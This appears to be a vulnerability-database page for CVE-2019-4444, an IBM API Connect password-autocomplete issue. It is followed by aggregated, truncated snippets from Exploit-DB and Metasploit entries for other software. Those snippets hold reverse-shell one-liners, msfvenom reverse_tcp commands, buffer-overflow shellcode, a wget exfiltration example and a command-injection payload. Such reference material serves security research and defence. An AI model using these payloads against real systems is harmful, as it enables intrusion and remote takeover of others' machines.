CVE-2019-4444
published 2019-12-16CVE-2019-4444: IBM API Connect 2018.1 through 2018.4.1.7 Developer Portal's user registration page does not disable password autocomplete. An attacker with access to the…
PriorityP424medium5.5CVSS 3.1
AVLACLPRLUINSUCHINAN
EPSS
0.30%
22.2th percentile
IBM API Connect 2018.1 through 2018.4.1.7 Developer Portal's user registration page does not disable password autocomplete. An attacker with access to the browser instance and local system credentials can steal the credentials used for registration. IBM X-Force ID: 163453.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | api_connect | — | — |
| ibm | api_connect | — | — |
| ibm | api_connect | 2018.1.0 – 2018.4.1.7 | — |
CVSS provenance
nvdv3.15.5MEDIUMCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
nvdv3.05.1MEDIUMCVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.02.1LOWAV:L/AC:L/Au:N/C:P/I:N/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
SmarterMail Build 6985 - Remote Code Execution
exploitdb·2020-12-09·CVSS 9.8
CVE-2019-7214 [CRITICAL] SmarterMail Build 6985 - Remote Code Execution
SmarterMail Build 6985 - Remote Code Execution
---
# Exploit Title: SmarterMail Build 6985 - Remote Code Execution
# Exploit Author: 1F98D
# Original Author: Soroush Dalili
# Date: 10 May 2020
# Vendor Hompage: re
# CVE: CVE-2019-7214
# Tested on: Windows 10 x64
# References:
# https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
#
# SmarterMail before build 6985 provides a .NET remoting endpoint
# which is vulnerable to a .NET deserialisation attack.
#
#!/usr/bin/python3
import base64
import socket
import sys
from struct import pack
HOST='192.168.1.1'
PORT=17001
LHOST='192.168.1.2'
LPORT=4444
psh_shell = '$client = New-Object System.Net.Sockets.TCPClient("'+LHOST+'",'+str(LPORT)+');$stream = $client.GetStream();[byte[]]$bytes = 0..655
Exploit-DB
WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Buffer OverFlow (SEH)
exploitdb·2019-10-31
WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Buffer OverFlow (SEH)
WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Buffer OverFlow (SEH)
---
# Exploit Title: WMV to AVI MPEG DVD WMV Convertor 4.6.1217 - Buffer OverFlow (SEH)
# Google Dork: N/A
# Date: 2019-10-30
# Exploit Author: Doan Nguyen (4ll4u)
# Vendor Homepage:https://www.alloksoft.com/
# Software Link: https://www.alloksoft.com/wmv.htm
# Version: v4.6.1217
# Tested on: Windows XP SP3
# CVE : N/A
# Reference from : [1] https://www.exploit-db.com/exploits/47563
# 1.- Run python code :poc.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WMV to AVI MPEG DVD WMV Convertor and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'License Name and License Code'
# 5.- Click 'OK' and you will get a bind shell on port 4444
#msfvenom -a x86 --platform Windows -p windows/shell/
Exploit-DB
ProShow 9.0.3797 - Local Privilege Escalation
exploitdb·2019-06-11
CVE-2019-12788 ProShow 9.0.3797 - Local Privilege Escalation
ProShow 9.0.3797 - Local Privilege Escalation
---
#!/usr/bin/python
# _*_ coding:utf-8 _*_
# Exploit Title: ProShow v9.0.3797 Local Exploit
# Exploit Author: @Yonatan_Correa
# website with details: https://risataim.blogspot.com/2019/06/exploit-local-para-proshow.html
# Vendor Homepage: http://www.photodex.com/ProShow
# Software Link: http://files.photodex.com/release/pspro_90_3797.exe
# Version: v9.0.3797
# Tested on: Wind 7
from struct import pack
informacion = """
ProShow v9.0.3797
http://www.photodex.com/ProShow
execute exploit
create a file called "load"
copy load "C:\Program Files\Photodex\ProShow Producer\"
"C:\Program Files\Photodex\ProShow Producer\proshow.exe"
And connect nc -nv IP_Host 4444
Testing: Windows 7
@Yonatan_Correa
https://risataim.blogspot.com/2019/06/exploit-
Exploit-DB
DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)
exploitdb·2019-06-04
DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)
DVD X Player 5.5 Pro - Local Buffer Overflow (SEH)
---
# Exploit Title: DVDXPlayer 5.5 Pro Local Buffer Overflow with SEH
# Date: 6-3-2019
# Exploit Author: Kevin Randall
# Vendor Homepage: http://www.dvd-x-player.com/download.html#dvdPlayer
# Software Link: http://www.dvd-x-player.com/download.html#dvdPlayer
# Version: 5.5 Pro
# Tested on: Windows 7
# CVE : N/A
#!/usr/bin/python
###########Create Shellcode with MSFVenom###############################################################################################
##msfvenom shellcode generate: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.9 LPORT=4444 -b '\x00\x0A\x0D\x1A' -f python
########################################################################################################################################
file
Exploit-DB
Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution
exploitdb·2019-05-17·CVSS 8.8
CVE-2019-1821 [HIGH] Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution
Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution
---
#!/usr/bin/python
"""
Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability
Steven Seeley (mr_me) of Source Incite - 2019
SRC: SRC-2019-0034
CVE: CVE-2019-1821
Example:
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192.168.100.123
(+) pop thy shell!
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/
Exploit-DB
Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow
exploitdb·2019-04-30
Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'SIZE' Remote Buffer Overflow
---
# Exploit Title: Free Float FTP 1.0 "SIZE" Remote Buffer Overflow
# Google Dork: N/A
# Date: 4/26/2019
# Exploit Author: Kevin Randall
# Vendor Homepage:
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Version: Firmware: Free Float FTP 1.0
# Tested on: Windows XP Professional Service Pack 2
# CVE : N/A
#Generate Shellcode with MSFVenom
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP.OF.LOCAL.MACHINE LPORT=4444 -b '\x00\x0A\x0D' -f python
#Setup listener "use exploit/multi/handler" "set payload windows/meterpreter/reverse_tcp" "set LHOST IP.OF.LOCAL.MACHINE" "set LPORT 4444" "exploit"
#!/usr/bin/python
import socket
import sys
buf = ""
buf += "\xba\x99\x2c\xb1\x7d\xdb\xd1\xd9\x74\x24\xf4\x5d
Exploit-DB
Domoticz 4.10577 - Unauthenticated Remote Command Execution
exploitdb·2019-04-30·CVSS 9.8
CVE-2019-10678 [CRITICAL] Domoticz 4.10577 - Unauthenticated Remote Command Execution
Domoticz 4.10577 - Unauthenticated Remote Command Execution
---
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# Exploit Title: Unauthenticated Remote Command Execution on Domoticz & /dev/tcp/172.17.0.1/4444 0>&1 &'
# ./exploit.py -zipcmd http://localhost:8080/ 'nc 10.0.2.2 4444 -e /bin/bash &'
import argparse
import requests
import urllib
import base64
import json
import BaseHTTPServer
import zipfile
import thread
# Retrieve data from db with the SQL Injection on the public route
def steal_dbdata(field):
sqlinj = sqlpref % field
urltmp = url_sqlinj + sqlinj
r = session.get(urltmp)
print '[+] %s: %s' % (field,r.text)
return r.text
# Login and return the SID cookie
def dologin(username, password):
url_login_cred = url_login % (username, password)
r = session.get(url_login_cred)
sid = r.h
Exploit-DB
Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow
exploitdb·2019-04-30
Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'STOR' Remote Buffer Overflow
---
# Exploit Title: Free Float FTP 1.0 "STOR" Remote Buffer Overflow
# Google Dork: N/A
# Date: 4/26/2019
# Exploit Author: Kevin Randall
# Vendor Homepage:
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Version: Firmware: Free Float FTP 1.0
# Tested on: Windows XP Professional Service Pack 2
# CVE : N/A
#Generate Shellcode with MSFVenom
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP.OF.LOCAL.MACHINE LPORT=4444 -b '\x00\x0A\x0D' -f python
#Setup listener "use exploit/multi/handler" "set payload windows/meterpreter/reverse_tcp" "set LHOST IP.OF.LOCAL.MACHINE" "set LPORT 4444" "exploit"
#!/usr/bin/python
import socket
import sys
buf = ""
buf += "\xba\x99\x2c\xb1\x7d\xdb\xd1\xd9\x74\x24\xf4\x5d
Exploit-DB
DVD X Player 5.5.3 - '.plf' Buffer Overflow
exploitdb·2019-03-21·CVSS 7.8
CVE-2018-9128 [HIGH] DVD X Player 5.5.3 - '.plf' Buffer Overflow
DVD X Player 5.5.3 - '.plf' Buffer Overflow
---
#!/usr/bin/env python
# Exploit Title: DVD X Player 5.5.3 Buffer Overflow
# Date: 20.03.2019
# Exploit Author: Paolo Perego - [email protected]
# Vendor Homepage: http://www.dvd-x-player.com
# Software Link: http://www.dvd-x-player.com/download/DVDXPlayerSetup-Standard.exe
# Version: 5.5.3.8 and above
# Tested on: Windows 7 Professional SP1 x86
# CVE : CVE-2018-9128
# Similiar EDB-ID: 44438 https://www.exploit-db.com/exploits/44438
# In Windows 7, SEH handler to be used contains a \x00 byte that it has been
# obtained using a restricted char. For such a reason, every jump has to be
# backward on the beginning of attacking shellcode.
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.106 LPORT=4444 -b '\x00\x0a\x1a\x0d' -f py -v
Exploit-DB
Master IP CAM 01 3.3.4.2103 - Remote Command Execution
exploitdb·2019-02-18·CVSS 9.8
CVE-2019-8387 [CRITICAL] Master IP CAM 01 3.3.4.2103 - Remote Command Execution
Master IP CAM 01 3.3.4.2103 - Remote Command Execution
---
# Exploit Title: Master IP CAM 01 Remote Command Execution
# Date: 09-02-2019
# Remote: Yes
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Master IP CAM
# Version: 3.3.4.2103
# CVE: CVE-2019-8387
import sys
import requests
if len(sys.argv) "
print "[-] Example: python MasterIpCamRCE.py 192.168.1.54 'wget http://192.168.1.55:4444/$(id)'"
exit(1)
host = sys.argv[1]
command = sys.argv[2]
page = [
"bconf.cgi",
"ddns_start.cgi",
"getddnsattr.cgi",
"getinetattr.cgi",
"getnettype.cgi",
"getupnp.cgi",
"getwifiattr.cgi",
"getwifistatus.cgi",
"inetconfig.cgi",
"iptest.cgi",
"listwifiap.cgi",
"p2p.cgi",
"paraconf.cgi",
"scanwifi.cgi",
"setadslattr.cgi",
"setddnsattr.cgi",
"setinetattr.cgi",
"setwifi
Metasploit
Grandstream UCM62xx IP PBX sendPasswordEmail RCE
metasploit·CVSS 8.8
CVE-2020-5722 [HIGH] Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Grandstream UCM62xx IP PBX sendPasswordEmail RCE
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e
No writeups or analysis indexed.
2019-12-16
Published